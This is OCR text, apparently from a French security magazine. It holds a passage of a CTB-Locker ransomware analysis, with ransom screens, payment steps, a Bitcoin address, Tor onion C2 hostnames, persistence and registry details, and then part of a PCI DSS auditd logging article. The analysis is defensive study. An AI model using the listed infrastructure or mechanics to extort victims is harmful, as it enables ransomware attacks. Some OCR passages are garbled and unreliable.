d'abuser de cette fonctionnalité afin de réitérer I'opération.

En cliquant une nouvelle fois sur « Suivant », deux solutions
vont se présenter a |'utilisateur selon sa configuration ou sa
connexion.

SIS IIITIIIIIII I I IS ST I FITIIIF TSI FIIIITIFIII IS TII IS TIITI SIS I I IS ST IIFIIIIFFY,

=g _N
Connectant au serveur. Veuillez attendre...

PO I ITIISY.

Eteignez le logiciel de pare-feu et d‘antivirus, il peut bloguer I'acces au serveur et fa récupération
dela clé de décryptage privée.

95 43 57

S IIIIIIIIIIIIIIIIFIIII ST I I IS TSI I I IS I IS TSI I I IS I I IS ST I I IS SIS IS I SIS I IS SIS 57 S,

Tentative de connexion vers un serveur de |'attaquant

1SS S S S
N C OO C RN

Mode en Ligne (si le ransomware parvient a contacter

son serveur)

P PIIIIITIIIIIIIIIII ISP IFIIITIITIIIIIIIIIIITIFIIIITFIIIIIIIII ISP I I P I IIITIIII I,

ll

N C CC CCCUURRRNRR,

Le serveur n‘accepte que du paiement en Bitcoin (BTC).

. Quantité de paiement de 0.6 BTC (autour de 138 EUR) a I'adresse:
179g2TJ9CiDHFbGSDZZBPVXRAINGEVNIZNZ

2. La transaction prendra 15-30 minutes a étre vérifiée.

Le décryptage commencera automatiquement. Ne pas: éteindre I'ordinateur, faire fonctionner le
programme d"antivirus, désactiver la connexion a I'Internet. Les échecs pendant la récupération
de la clé et le décryptage des dessiers peuvent entrainer des dommages accidentels sur les
dossiers.

Si vous n'avez pas de Bitcoins, appuyez sur 'Echanger’.

95 59 22
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On entre ici dans le vif du sujet, le paiement de la rancon.
On remarque que le seul mode de paiement accepté est
le Bitcoin (monnaie virtuelle difficile a tracer, cf. ActuSécu
#37) et qu'une adresse de portefeuille est indiquée.

14 Il est demandé une rancon de 0.6 BTC (pour notre échantil-

[XmMco)

lon, la valeur peut varier selon les versions), ce qui équivaut
d’apres I'auteur du malware a environ 138 euros. Si I'on
compare avec le cours du Bitcoin au moment de la rédac-
tion de I'article, on peut en déduire que le message a été
rédigé avant décembre 2013 (la valeur actuelle étant de 1
BTC = 278.09 euros).

La victime doit alors se résoudre a payer plus de 130 euros
afin de déchiffrer ses documents, en reversant la somme a
I'adresse renseignée.

Mode Hors Ligne

Si le ransomware se trouve dans I'impossibilité de contacter
le serveur distant, un mode de secours est initié dispensant
les actions a réaliser afin de payer :

FIIIIIIIIIFI I TSI TSI I I IS I I II SIS TII IS IS I IS S I T I TSI SIS SIS P I 7 IS S SIS IS IS S FFF ST,
v

La connexion au serveur et la récupération de la cl€ privée ont été ratées. Vérifiez la connexion a
I'Internet, désactivez le pare-feu et l'antivirus et essayez a nouveau.

Appuyez sur 'Réessayer' pour tenter a nouveau.

Appuyez sur 'Déconnects’ pour obtenir les instructions pour se connecter manuellement au serveur
et décrypter vos dossiers.

=78 o5 39 50 T

G il

Ll e T T I I T T V7 v VI 7 AT I T PN V7 P oV F 7 Ty Y Vo o s s

Trouvez un autre ordinateur avec une connexion active sur I'Internet et réalisez les pas suivants:
Ouvrez http:/ / kph3onblkthy4237 .onion.cab ou http:/ / kph3onblkthy4237.tor2web.org dans votre
navigateur. Ils sont des portails publics vers le serveur secret.

Si vous avez des problémes avec les portails, utilisez une connexion directe:

1. Téléchargez le Navigateur Tor http:/ /torproject.ora/

2. Sur le navigateur Tor, ouvrez http://kph3onblkthy4z37.onion,
Notez que ce serveur n'est que disponible a travers du navigateur Tor.

Ecrivez sur la prochaine clé publique sous la forme d’entrée, sur le serveur.
INA2XPS-203EESN-QEXYK( WRBGASU-G5BBY3J-DPR3LI7-IBEQJJD-GHW2TN2

QNAUIWF-OING67I-G37FM Y24FQ7X-0QRI3BZ-QIBGMCH-XDG36GK-RITEHYM
HQVNAPF-YVJIBWJC-XHWZSCI-2PT3QNH-G3D3IAS-JIMé 6DI-KN40IPI-QHLPWWC

Suivez les instructions sur le serveur.

95:38:56

RS S S S O R
O O R U RO

Il est ainsi demandé a |'utilisateur de trouver une connexion
valide, et de poursuivre le paiement via les portails fournis
a I'aide d’une connexion directe ou via un navigateur confi-
guré pour Tor.

En accédant a I'un des sites mentionnés, ici via « TOR Brow-
ser », on tombe sur un formulaire de ce type :

8 @ € @ rphlonblhdiTonion <

Enter your public key and press ‘Send’
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Une fois la clé publique saisie, une nouvelle fenétre se pré-
sente :

© @ € @ wphonblkiyiTon

Server accepts payment in Bitcoin (BTC) only.
If you have bitcoins:
1. Pay amount of (. BTC to address:

2. Transaction will take about 15-30 minutes to confirm.

1f you do not have bitcoins:

n your country and currency.
ins.com/ and find person who sells bitcoins near you.

150 USD) and make direct deposit to b ddress:
Exact payment amount can vary depending of exchange rates.
4. Transaction completion may take several days.

Reload this page in 15 minutes. After trar
Don't worry if some errors occurs and connec

mpletes you wiil be redirected to decryption page.
was broken. Wait 15 minutes and pres:

To make sure that decryption is p

Encrypted file: [T

are allowed to decrypt 2 any files for free, File size is limited up to 1 Mbyte,

On observe ici que la conversion BTC est en USD (dollars
américains). Le processus de paiement est également clai-
rement expliqué a I'utilisateur afin de « faciliter » la transac-
tion. Cependant, seul I'anglais est proposé, contrairement
au malware en lui-méme qui proposait plusieurs langues.

Notons également la possibilité de déchiffrer 2 nouveaux
fichiers via I'interface. Une nouvelle fois, il est impossible
d'abuser du mécanisme pour déchiffrer davantage de fi-
chiers. Cependant, I'utilisateur peut choisir quels fichiers
sauver :

e é@-

& aSgtqhgldb2lE.onion decodetid=04112c512246b0e0 366502112 THICY

You have reached your free n limit. Pay and decrypt all of them.

Enfin, en cas de dépassement du compte a rebours ou plus
simplement des que ce dernier atteint 0, un message indi-
quant la fin du temps imparti est affiché :

Vous n‘avez pas fait des paiements pour vos dossiers.

Le casier va s'éliminer tout de suite.

Tous les dossiers resteront encryptés et vous pouvez en perdre tout pour toujours.
Peut-étre que vous avez besoin d'un peu plus de temps pour payer?

Lisez les instructions sur le dossier Decrypt-All-Files.txt dans le dossier Documents, c'est votre
DERNIERE OPPORTUNITE,

Ransomware et CTB Locker

Néanmoins, on remarque que les instructions de récupé-
ration demeurent accessibles dans le fichier « Decrypt-All-
Files.txt ».

A travers toutes ces étapes, nous retrouvons donc ces
quelques caractéristiques :

o= utilisation du réseau TOR ;

= utilisation du Bitcoin ;

== multilingues ;

== 96h (4 jours) afin de payer la rancon (La condition de
temps semble étre faussée pour mettre la pression a une
victime et I'obliger a payer rapidement) ;

== déchiffrement de 5 + 2 fichiers en guise de preuve.
Pour plus d’informations sur tout I'aspect statique de
I'analyse, une excellente étude a été réalisée a cette
adresse : http://christophe.rieunier.name/securite/CTB-Loc-
ker/CTB-Locker_analysis_en.php

Analyse « in vivo »

Si I'on se concentre sur toute la partie non visible de I'exé-

cution, nous observons les éléments suivants :

1 - Création de nouveaux processus

Image Name User Name CPU Memory (Private Working Set) Desaiption

(Erss.exe SYSTEM [us] 1080K ClientServer Ru
dwm.exe Ransom o0 1112K Deskitop Windoy
explorer.exe Ransom i} 10 732K Windows Explor
SearchProtocolHost.exe  Ransom ] 1480K Microsoft Winde
taskhost.exe Ransom 00 1680K HostProcess fo
taskmar.exe Ransom ili} 1768K  Windows Task b
winlogon.exe SYSTEM o0 1880K Windows Logon

Liste des processus liés a |'utilisateur courant avant le

lancement
Image Name User Name CPU Memory (Private Working Set)  Description
audiodg.exe LOCAL ... oo 9896 K Windows AL
CErS5, EXE SYSTEM i1} 1290 K  Client Serve
CErss.exe SYSTEM 00 1140 K  Client Serve
ctblLocker.exe *32  Ransom 00 4728K  ctblocker.e
dwm.exe Ransom 0o 1112K  Desktop Wir
|e|:|ymcg.exe =32 Ransom 0o 15144K epyxncg.ex
explorer.exe Ransom oo 17 504K Windows Ex

Liste des processus apres le lancement

(XmMcol
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On retrouve naturellement I'exécutable que nous avons
lancé (ctblocker.exe *32), mais plus important, la création
d’un processus (epyxncg.exe “32) se référant a un nouveau
fichier au nom aléatoire (ici epyxncg.exe de 920 KB) créé
dans %TEMP% (C:\Users\Ransom\AppData\Local\Temp,
Ransom étant quant a lui notre nom d'utilisateur sur la
machine infectée). Tres rapidement, nous observons une
élévation de la charge CPU sur ce processus (due au chiffre-
ment des fichiers de la machine en arriere plan).

2 - Création d’une nouvelle tache au démarrage de la ma-
ine

On observe également la création d'une nouvelle tache
exécutée a chaque démarrage de la machine avec les pri-
vileges NT AUTHORITY\SYSTEM (C:\Windows\System32\
Tasks\hcrnnwk, le nom étant une nouvelle fois généré de
maniére aléatoire) ou encore décelable via le registre (\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\
CurrentVersion\Schedule\TaskCache).

Next Run Time  Last Run Time Last Run Result Author Created
07/12/201513:55:51  (0x0)

Name Status Triggers
@ hernnwk Ready At system startup

General | Triggers | Actions | Conditions | Settings | History (disabled)|

When you create a task, you must specify the action that will occur when your task starts. To change these actions, ope
Propertics command.

Action Details

Start a program C:\Users\Ransom\AppDataiLocal Templepymeg.exe

Nouvelle tache observée via le « Task Scheduler »

3 - Chiffrement et changement d’extension des fichiers

Au premier abord, on constate I'ajout d'une extension aléa-
toire qui vient suffixer celle d’origine. Mais la nest pas le
plus intéressant. Les différentes recherches effectuées font
état de l'utilisation d’algorithmes de cryptographie utili-
sant les courbes elliptiques pour le chiffrement. Les fichiers
concernés sont donc chiffrés et compressés a l'aide des
composants suivants :

== Bibliotheque ZLib ;

== Algorithme de chiffrement symétrique AES ;

= SHA256 + Courbes elliptiques.

Une étude plus détaillée permettant d’apporter davantage
d’informations sur le mécanisme de chiffrement est dispo-
nible a I'adresse suivante :

https://zairon.wordpress.com/2015/02/17/ctb-loc-
ker-encryptiondecryption-scheme-in-details/

4 - Création et modifications de fichiers annexes

Les noms des fichiers chiffrés sont remplacés par des noms
générés de maniere aléatoire afin de les reconnaitre sim-
plement dans le cas d'un déchiffrement.

= C:\Users\Ransom\My Documents\!'Decrypt-All-Files-sh-
kbgpf.bmp, qui va faire office de nouveau fond d’écran ;

[XmMco)

o= C:\Users\Ransom\My Documents\'Decrypt-All-Files-sh-
kbgpf.txt, recensant les instructions pour verser la rancon ;

== Une nouvelle fois, Shkbgpf est un exemple de nom gé-
néré de maniere aléatoire (comme dpycgpf, etc.).

o= Es
& )=[[F » Lbrares » Documen s » [ 43 ][ Search Documents »
Organize v Share with + New folder = 1 @
7 Favorites Documents library i
B Deskiop Includes: 2locations
J8 Downlozds Name - Date modified Type Size
7 Recent Places
Temp (2] 1Decrypt-All-Files-uxbngpf.bmp 07/12/20151131  Bitmap image 3001 KB
|
[ tDecrypt-All-Files-uxbngpf.ot 07/12/20151131  Text Document 2K
& Libraries
[ Documents
o Music
[ Pictures

5 - Création ou modification d’entrées dans le registre

[HKEY_CURRENT_USER\Control Panel\Desktop]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run]

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]

6 - Informations complémentaires

== Tous les noms aléatoires font 7 caractéres alphabétiques
minuscules ;

== Aucune limite n'a été définie quant au nombre de fi-
chiers a chiffrer ;

== En modifiant les réglages de I'horloge, il est possible
d’influer sur le compte a rebours du ransomware notam-
ment d’avancer plus rapidement le décompte (l'inverse
n’est en revanche pas possible) ;

== La date de compilation date de fin 2004 (Preuve que les
données sont falsifiées pour brouiller les pistes) ;

o= Les « shadow copies » permettant de restaurer |'état
des fichiers sont supprimés dans les versions récentes du
malware ;

== Les fichiers ajoutés en post-compromission ne sont pas
touchés, méme au redémarrage de la machine ;

== A la fin du compte a rebours, le processus se termine. Le
fichier .exe, le fond d'écran et la tache exécutée a chaque
démarrage sont supprimés.

7 - Réseau

Si I'on s’attarde sur la partie réseau, nous observons que
le logiciel cherche a contacter des adresses accessibles par
I'intermédiaire du réseau Tor.

Quelques exemples (ports 80 et/ou 443) :

== eyy4qqf324o0jjctw.onion.qq ;
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== eyy4qqf324ojjctw.tor2web.blutmagie.de ;
= eyy4qqf324o0jjctw.onion.cab ;

o= eyy4qqf3240jjctw.tor2web.fi ;

== eyy4qqf324ojjctw.onion. ft;

= eyy4qqaf324ojjctw.tor2web.org.

= ou encore ip.telize.com (API retournant I'adresse IP du
visiteur).

92 Name query NB IP.TELIZE.COM<00>
92 Name query NB IP.TELIZE.COM<00>
92 Name query NB IP.TELIZE.COM<00>
87 standard query 0x4978 A eyydqqf3240])Ctu. Tor 2web. T1

Sl NS 87 standard query 0x4978 A eyydqqf3240]jCtw. Tor 2web. T
15 42.4906670172.16.43.128 172.16.43.1 NS 87 standard query 0x4978 A eyy4qqf324ojjctw. tor 2web. fi
16 44.5022400172.16.43.128 172.16.43.1 NS 87 standard query 0x4978 A eyy4qqf324ojjctw. tor 2web. fi
17 48.5117320172.16.43.128 172.16.43.1 NS 87 standard query 0x4978 A eyy4qqf324ojjctw. tor 2web. fi
18 62.5362000172.16.43.128 172.16.43.1 NS 73 standard query Ox65al A ip.telize.com
19 63.5500030172.16.43.128 172.16.43.1 NS 73 standard query Ox65al A ip.telize.com

rame 13: 87 bytes on wire (696 bits), 87 bytes captured (696 bits) on interface 0
thernet II, src: vmware_32:0b:58 (00:50:56:32:0b:58), Dst: vmware_c0:00:01 (00:50:56:c0:00:01)
nternet Protocol version 4, src: 172.16.43.128 (172.16.43.128), Dst: 172.16.43.1 (172.16.43.1)
ser Datagram Protocol, Src Port: 56074 (56074), Dst Port: 53 (53)

‘omain Name System (query)
Premiéres requétes initiées

Différentes URLS permettant de récupérer le payload ont
également été listées par le CERT-SG :

http://blog.cert.societegenerale.com/2015/02/ctb-locker-
new-massive-crypto.html

8 - Tentatives de nettoyage

Il est possible de supprimer les modifications de « CRITRO-
NI » (registre, etc.), mais en I'état, aucune solution ne per-
met de déchiffrer les fichiers chiffrés sans disposer de la
clé de chiffrement du commanditaire. La seule alternative
demeure la restauration des fichiers compromis par le biais
de sauvegardes externes.

===
6@-\. » Libraries » Pictures » Sample Pictures ~ [ 43 |[ Search Sample Pictures P
Organize »  Sharewith v Slideshow  New folder =~ 0O @
I Favorites P\cturgs library Arangeby: Folder =
B Desktop Sample Pictures
18 Downloads —
%l Recent Places LN LN LN I b
)\ Temp
& Libraries
[ Documents Chrysanthemum. | DesertJPGuxbng  HydrengeasJPG.  JellfishJPGauxbn  KoalaPG.uxong
& Music L IPGambngpf | pf uxbngpf grt pf
[=] Pictures 1Y | L
B videos
M Computer
& Local Disk (C:) Lighthouse JPG.u  Penguins PG.uxb  Tulips.JPG.uxbng
xbngpf ngpf pf

€ Network

Ransomware et CTB Locker

> Utilisations, dérives, protections

Un des parametres souvent largement sous-estimé de la
sécurité informatique est I'aspect social / humain. Pourtant,
c'est le vecteur d’infection le plus efficace pour que ce type
de malware se développe.

Comme nous le mentionnions au début de cet article, la
grande majorité des utilisateurs est infectée grace a des
techniques de « Social Engineering » ou de type « drive
by download » qu'il est simple d’éviter si ces derniers sont
suffisamment sensibilisés.

Les pirates ont bien compris que l'internaute lambda était
peu méfiant, et en profitent au maximum. Certains com-
portements des internautes, dénués de toute réflexion, au-
raient ainsi le mérite de figurer parmi les « Darwin Awards »
de la sécurité. Il est certes tres facile de critiquer, mais le mi-
nimum de bon sens permettrait dans bien des cas d’éviter
des compromissions trop regrettables (pour les particuliers
comme les professionnels).

Ce point est particulierement flagrant avec les ransomwares
« non chiffrant ». Le principe est de jouer sur la peur d'une
répréhension fictive (prison, divulgation d’informations
sensibles souvent en rapport avec I'intimité, menaces, etc.)
pour inciter I'utilisateur a payer. La manipulation est ici un
véritable business qui ne se soucie a aucun moment des
conséquences de tels jeux de chantage.

Les malwares « Icepol » ou « Police » font ici figure
d’exemples dans cette catégorie. Le malware, apres avoir
bloqué tout ou partie des fonctionnalités de la machine in-
fectée, affiche un message prétendant que I'utilisateur a
commis une infraction quelconque et qu'il doit impérati-
vement s’acquitter d'une somme d’argent sous peine de
prison.

. == serios Organised Crime Agency
METROPOLITAN BRITISH POLICE _4

wPCeU

P —

Remaining time: 47:59:14

(kasti @paysafeccid

¥ P&
W S 7
INTERPO! [ =] ERPO!

vl E
ATTENTION!
iR Your computer has been blocked up for safety reasons histed below i
- ou are acomed of viewing/storage and/ ssemination of banned pornography (chid o
- pormographyzsophiacape. ). You havs vioated Word Decaration on o rotferaton of i
INTERPO! pomography. You are accused of committing the crime emvisaged by Artide 161 of the Kingdom of ERPC
Geeat Brtain crmioa .
Actce 161 f e Kingtom of Great it crimioa sw provides for th punshnent of dprivation
of tiberty for terms from 5 to 11 years.
Abso, you are suspected of violation of “Copyright and Related rights Law’ (downloading of pirated.
3 sk, viden, warn] s oF she o dissamintion o1 copyrghled conteat. Thes, Yo 3 ;
W e of viition f Artcl 148 of th Kingdom of Great s crminat o, <)
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ATTENTION !

P
Locaton v Video Recording

1PS:  cm—t——— )
ON (8 ot

Your PC Is blocked due to at least one of the reasons specified below.

You have been violating Copyripht and Related Rights Law (Video, Music, Software) and illegally
using or distributing copyrighted contant, thus infringing Article 1, Section 8, Clause 8, also
known as the Copyright of the Criminal Code of United States of America

8 of the Criminal Code provides for a fine of two to five hundred
of liberty for two to eight years.

o
& |) MoneyPak
You h: ribut ited Pormographic content (Child Porno/Zoofilia and

he Criminal Code of United States of America, Articie 202 of Code: Sum:
jeprivation of liberty for four to twelve years.

Tilegal access has been initiated from your PC without your knowledge or consent, your PC may
be infected by malware, thus you ace violating the law On Neglectful Use of Personal Computer. 1) (2] (23] =) 8
Article 210 of the Criminal Code provides for a fine of up to $100,000 andfor a deprivation of

iberty for four to nine years.

Pursuant to the amendment to the Criminal Code of United States of America of May 28, 2011,

Plusieurs exemples parus en Roumanie ou encore en An-
gleterre ont poussé des personnes au suicide suite a la ré-
ception d'un malware de ce type. Des conséquences désas-
treuses provoquées par un simple spam...

Nous I'avons signalé plus tot dans cet article, trés peu des
criminels utilisant ces malwares sont inquiétés. En effet, il
est tres difficile de remonter jusqu’a eux. Des serveurs sont
saisis, des centres de commande coupés, des malwares
étudiés afin d’'y dénicher d'éventuelles failles permettant
de les neutraliser, mais finalement, peu de criminels sont
arrétés.

Il faut dire que les gains récoltés par les pirates ne font rien
pour les décourager. Les sommes demandées étant diffé-
rentes pour chaque variante des cryptoransomwares, cer-
tains gains engendrés par les ransomwares les plus connus
sont mirobolants.

Cryptolocker est I'un des exemples les plus significatifs.
Une équipe de chercheurs a pu déterminer le nombre de
victimes, grace a I'utilisation de sinkholes DNS utilisant le
pool d’adresses utilisées par cryptolocker. A chaque fois
qu’une nouvelle victime était infectée, une connexion vers
le sinkhole était effectuée. Cette méthode a permis de dé-
terminer qu’environ 200 000 a 250 000 personnes étaient
infectées durant les 100 premiers jours de propagation du
malware. Symantec a déterminé qu’environ 3% des per-
sonnes infectées payaient réellement la rancon pour ré-
cupérer leurs données. Cela représente environ 830 000
euros...

Malgré un nombre de paiements aussi faible, en analysant
le trafic parvenant jusqu’aux adresses Bitcoin des criminels,
la société Dell a pu déterminer que plusieurs centaines de
millions de dollars ont été amassés par les pirates a | origine
du malware. La valeur de la cryptomonnaie étant fluctuante
et les rancons différentes selon la version du malware, il est
difficile d’établir un montant précis.

Cependant, il est certain que les sommes amassées sont
conséquentes. Couplé au fait que peu d’arrestations sont
réellement faites pour ce genre de crime, nous pouvons
étre slrs que ce genre d’escroquerie a encore de beaux
jours devant lui.
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> Point juridique

Aucune mention légale ne couvre avec précision I'utilisa-
tion de ransomwares en France.

Avant de conclure, il nous semblait néanmoins important
de rappeler quelques principes juridiques inhérents a I'uti-
lisation de logiciels malveillants et a I'acces aux SI d’autrui.
Si I'on s’attarde sur les articles du Code pénal, on peut no-
tamment citer :

== Article 323-1 : Le fait d’accéder ou de se maintenir,
frauduleusement, dans tout ou partie d'un systéme de
traitement automatisé de données est puni de deux ans
d’emprisonnement et de 30 000 euros d’amende. Lors-
qu’il en est résulté soit la suppression ou la modification
de données contenues dans le systéme, soit une altération
du fonctionnement de ce systeme, la peine est de trois ans
d’emprisonnement et de 45 000 euros d’amende. Lorsque
les infractions prévues aux deux premiers alinéas ont été
commises a |'encontre d’un systeme de traitement auto-
matisé de données a caractere personnel mis en ceuvre par
I'état, la peine est portée a cing ans d’emprisonnement et
a 75 000 euros d’amende.

o Article 3232 : Le fait d’entraver ou de fausser le fonc-
tionnement d'un systéme de traitement automatisé de
données est puni de cinq ans d’emprisonnement et de 75
000 euros d’amende. Lorsque cette infraction a été com-
mise a I'encontre d'un systeme de traitement automatisé
de données a caractere personnel mis en ceuvre par I'état,
la peine est portée a sept ans d’emprisonnement et a 100
000 euros d’amende.

o Article 323-3 : Le fait d'introduire frauduleusement des
données dans un systéeme de traitement automatisé ou de
supprimer ou de modifier frauduleusement les données
qu'il contient est puni de cing ans d’emprisonnement et de
75 000 euros d’amende. Lorsque cette infraction a été com-
mise a I'encontre d'un systeme de traitement automatisé
de données a caractere personnel mis en ceuvre par I'état,
la peine est portée a sept ans d’emprisonnement et a 100
000 euros d’amende.

= Et de maniére plus générale, celles concernant le CHA-
PITRE Il : Des atteintes aux systemes de traitement auto-
matisé de données. http://www.legifrance.gouv.fr/

L'arme la plus efficace pour contrer les ransomwares (en
complément d’un systeme un tant soit peu sécurisé) reste
la vigilance et le bon sens des internautes.

De méme, des gestes simples comme le fait de maintenir
son systeme a jour, sauvegarder régulierement ses don-
nées sur un disque externe, effectuer des sauvegardes de
documents sensibles permettrait d’éviter ces catastrophes.

Les ransomwares vont donc encore profiter de cette manne
pendant un bon moment.
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> Tracer les actions des utilisateurs dans un environnement
PCI DSS

Parmi les nombreuses exigences obligatoires et imposées par le standard PCl DSS, plusieurs d’entre elles imposent d'im-
plémenter des mécanismes permettant de tracer les actions réalisées par les administrateurs et les utilisateurs sur les
systemes manipulant des cartes bancaires.

Ces traces sont |a pour permettre une analyse détaillée de faits dans le cas de suspicion de fraude ou de compromission.

Dans cet article, nous vous présenterons plusieurs méthodes différentes et gratuites qui peuvent étre choisies par des ad-
ministrateurs afin de répondre a ces exigences sur des systemes Linux et Windows.

par Bastien CACACE et Adrien GUINAULT

] AL —G ol{l

Shelly Munkberg

Introduction

Au sein du chapitre 10 du PCI DSS, I'une des exigences impose de tracer les actions réalisées par les utilisateurs des systemes
qui traitent, stockent ou transmettent des cartes bancaires. En implémentant une solution technique permettant de répondre
a cette exigence, nous pouvons, dans le méme temps, couvrir les exigences suivantes :

10.2 Implement automated audit trails for all system components to reconstruct the following events:
10.2.2 All actions taken by any individual with root or administrative privileges

10.2.3 Access to all audit trails

10.2.6 Initialization, stopping, or pausing of the audit logs

10.2.7 Creation and deletion of system-level objects

Quelles solutions sont disponibles nativement sur les systémes GNU/Linux et Windows ou quels outils sont disponibles pour

répondre a cette problématique ? Cette question nous a été posée un trés grand nombre de fois par nos clients... Voici donc
quelques éléments de réponse.

[XMCcO) Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Auditd pour les systémes GNU/Linux

Auditd est un outil permettant de surveiller les activités d’'un systeme GNU/Linux. Il permet de générer des logs afin d’enregis-
trer des informations sur les différents événements se produisant sur le systeme. Contrairement a I'outil SnoppyLogger, Auditd
est capable de jouer le role d'un logiciel de contrdle d’intégrité et ainsi de répondre, en partie, a I'exigence suivante (méme si
d’autres outils excellent dans ce role) :
10.5.5 Use file-integrity monitoring or change-detection software on logs to ensure that existing log data cannot be changed
without generating alerts (although new data being added should not cause an alert).
Auditd est un démon natif qui s’exécute en tache de fond. Il est en mesure d’enregistrer dans ses fichiers de logs :

La date, I'heure et le résultat d'un événement ;

Les labels sensibles de sujets ou d’objets ;

L'association d’un événement avec I'identité de I'utilisateur ;

Les modifications de la configuration d’Auditd ou la tentative d’acces a ses fichiers de logs ;

Les authentifications réussies ou échouées telles que SSH, Kerberos et autres ;

Les changements sur les fichiers ;

Les événements liés a I'identité d'un utilisateur, sujet ou label d’objets, et d'autres attributs.

« Quelles solutions sont disponibles nativement
sur les systémes Linux et Windows
ou quels outils sont disponibles
pour répondre a I’exigence 10.2.2 du PCI DSS ? »

Auditd est présent nativement sur les distributions CentOS/RHEL (mais également sur a peu pres tous les systemes Unix) et
inclut les paquets suivants :
Auditd: le démon qui capture et stocke les événements dans les logs ;

Auditctl: outil client pour configurer auditd ;

Aureport: outil de reporting pour un fichier de log ;
Ausearch: outil de recherche d'événements ;

Autrace: similaire a la commande strace, trace un processus dans les logs ;

Aulast: similaire a la commande last, liste les derniers utilisateurs connectés ;
Aulastlog: similaire a la commande lastlog, liste les derniers utilisateurs connectés ;
Ausyscall: retrouve le nom d’un ID d’'un appel systeme ;

Auvirt: affiche les informations d’audit concernant les machines virtuelles.

(XmMcol
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La configuration d'Auditd se situe dans le répertoire /etc/audit. Celui-ci comprend deux fichiers :
Le fichier de configuration : auditd.conf ;

Le fichier de regles : audit.rules.

Le fichier auditd.conf

Le fichier de configuration indique I'emplacement du fichier de log généré par Auditd. Ce fichier comprend également les
options de stockage des fichiers de logs (nombre, taille, méthode de remplacement...).

# This file controls the configuration of the audit daemon

og_file = fvar/log/audit/audit.log

disp_gos = lossy
dispatcher = /sbin/audispd
name_format = NONE

e = mydomain
max_log_file = 6
max_log_file_action = ROTATE
space_left = 75
space_left_action = SYSLOG
action_mail_acct = root
admin_space_left = 50
admin_space_left_action = SUSPEND
disk_full_action = SUSPEND
disk_error_action = SUSPEND
#itcp_listen_port
tcp_listen_queue = 5
tcp_max_per_addr = 1
#itcp_client_ports = 1024-65535
tcp_client_max_idle = @
enable_krb5 = no

Fichier auditd.conf

Pour le stockage des logs, il est recommandé de placer les fichiers de logs dans une partition dédiée et de s'assurer que le
volume de cette derniére est supérieure 3 la taille des logs maximum définie dans I'option max_log_file.

Par défaut, le fichier de log est stocké dans /var/log/audit/audit.log.

Par ailleurs, dans le cadre du PCI DSS, il est nécessaire d’envoyer ces journaux d’évenements a un serveur centralisé (Syslog
par exemple) afin de répondre a I'exigence :

10.5.3 (Promptly back up audit trail files to a centralized log server or media that is difficult to alter).
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Le fichier audit.rules

Le fichier audit.rules ne comporte aucune regle par défaut :

# This file contains the auditctl rules that are loaded

# whenever the audit daemon is started via the initscripts.
# The rules are simply the parameterg that would be passed
# to auditctl. Supprime les p ntes re : clu

First rule - delete all

Fichier audit.rules

Il est possible de créer des régles a la volée ou de facon statique :

La méthode a la volée ne subsiste pas apres un redémarrage du systeme. Les régles sont définies avec I'utilitaire « audit-
ctl » installé avec Auditd.

La méthode statique conserve I'application des regles aprés un redémarrage du systeme. Elles sont définies directement
dans le fichier de regles audit.rules.

Nous allons donner quelques regles qui sont intéressantes a mettre en place, notamment dans le cadre de la certification PCl
DSS.

Il est possible de surveiller les activités du systeme de diverses maniéres. Dans le cadre du PCl DSS, il convient de tracer toutes
les commandes utilisateurs sur les systémes composant le CDE (Cardholder data Environnement) et sur les serveurs connectés
au CDE.

Définition de la regle :
exit,always -F arch=b64 -F euid!=0 -S execve -k user-commands
exit,always -F arch=b32 -F euid!=0 -S execve -k user-commands

exit,always -F arch=b64 -F euid=0 -S execve -k root-commands
exit,always -F arch=b32 -F euid=0 -S execve -k root-commands

Options :
-F arch : spécifie I'architecture - ici 32 ou 64 bits ;

-F euid : spécifie I'utilisateur final qui exécute la commande (0 pour root) ;
-S execve : spécifie les appels systemes ;
-k : définie un label permettant de mieux retrouver les traces d’une régle dans les logs.

Exemple de sortie :

Le label de la régle L'id de l'utilisateur ayant exécuté la commande

a1=1581588 a2=159¢C

euid=1001 suid=100 =
exe="/bin/1s"
type=EXECVE msg=audit(1426242370.159:3889): argc=2 |af="1s" al="

type=CWD msg=audit(1426242370.159:3889): cwd="/home/xmcol”

type=PATH msg=audit(1426242370.159:3889): item=0 name="/bin/1ls" inU\le=655444 dev=08:01 mode=0100754
ouid=0 ogid=0 rdev=00:00 nametype=NORMAL

type=PATH msg=audit(1426242370.159:3889): item=1 name=(null) inode=39%615 dev=08:01 mode=0100755
ouid=0 ogid=0 rdev=00:00 nametype=NORMAL

type=SYSCALL msdxsggit(14262423?0‘159:3889): arch=c000003e syscall=59 success=

La commandes et ses arguments

Résultat dans le fichier audit.log de la commande « Is » exécutée par un utilisateur standard

(XmMcol
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L'information permettant de déterminer si la commande a été exécutée par I'utilisateur root est le champ euid qui sera éqgal a
0. Néanmoins, la présence du label « user-commands » défini dans le fichier de régle permet d’identifier facilement que cette
commande a été réalisée par un utilisateur standard.

L'id de l'utilisateur utilisant la commande sudo
type:S\'SanL\%audit(14‘0L43?3f¥ 011:4179): arch=c000003e syscall=59 success=yes exit=0
af=1d024e8 al= 87c8 a2=1c4a008 a;—?fffeofd?ﬁe@ items=2 ppid=6301 pid=6337
1] gid=1001 syid=0 fsuid=0
fsgid=1001 tty=pts 28 JeS=4294967295 comm="sudo" exe="j/usr/bin/sudo"”
L'id de l'utilisateur exécutant la commande ps (root)

msg= audlt{1420243?39 011:4179): argc=2
15g=audit(1426243739.011:4179): cwd="/home,
msg=audit(1426243739.011:4179): item=0 names in/s " inode=918683

Le label de la regle Commande exécutée

Enregistrement de |'utilisation de sudo pour la commande ps

L'identifiant réel de I'utilisateur (uid) qui a exécuté la commande est 1001.

Il est possible de retrouver le login de I'utilisateur grace a I'utilitaire « ausearch » fourni avec le package Auditd. Cet outil per-
met de faire des recherches précises dans les logs générés.

wmcolfaubuntu'--s sudo ausearch -i --uid 1001 pm
T~ Piddu processus recherché
type CWD msg=audit(03/13/2015 03:48:59.011:4179) : cwd=/home/xmcol

type=EXECVE msg=audit(©3/13/2015 03:48:59.011:4179) : argc=2 a udo al=ps
{SCALL msg=audit(03/13/2015 03:48:59.011:4179) : arch=x86_64 syscall=execve success=yes exit={
1d024e8 al=0x1d187c8 a2=0x1c4a008 a3=0x7fffe6f498e0@ items=2 ppid=6301 pid=6337 auid=unset
i =root fsuid=root egid=xmcol sgid=xmcol fsgid=xmcol
